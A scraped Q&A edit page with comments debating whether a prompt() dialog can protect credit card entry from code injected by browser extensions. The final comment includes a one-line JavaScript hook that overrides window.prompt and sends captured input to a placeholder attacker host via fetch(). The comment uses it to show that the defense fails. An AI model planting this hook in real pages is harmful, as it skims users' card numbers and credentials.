Skip to main content

You are not logged in. Your edit will be placed in a queue until it is peer reviewed.

We welcome edits that make the post easier to understand and more valuable for readers. Because community members review edits, please try to make the post substantially better than how you found it, for example, by fixing grammar or adding additional resources and hyperlinks.

Required fields*

7
  • I will drop the jQuery part, but it looks like we have a winner:) Additionally, the credit card will be encrypted with a public key, then stored/prepared for form submission (and yes, in the "fake" input the same behaviour of just showing a masked credit card will be preserved). Nice:) Commented Sep 28, 2012 at 10:34
  • Note: having a safe place to enter the credit card (where browser extensions aren't injecting code) is, in my opinion (for the given problem), equivalent to preventing code injection (for generic non-targeted attacks). Commented Sep 28, 2012 at 10:42
  • Glad this worked. It actually works really nice on mobile devices. If you experience problems with double prompts, increase the de-dupe time. If you experience issues with mobile maintaining focus (should be blur()ing after dialog closes), then increase the timeout time. I plan on wrapping this in a nice object, removing jQuery, and open sourcing on github. Commented Sep 28, 2012 at 17:44
  • Except for some non-related error (var range = win.document.selection.createRange();) prompt() works in ie6 too (and better than IE7+, it doesn't have the yellow bar asking for permission). Commented Sep 29, 2012 at 11:50
  • 2
    Since browser extensions can execute code before yours, this is really easily defeated by simply overwriting the window's native prompt function with one that captures the data. window._prompt=window.prompt;window.prompt=function(q){let a=window._prompt(q);fetch('http://badactor.com?input=' + a);return a;} Commented Oct 16, 2019 at 17:12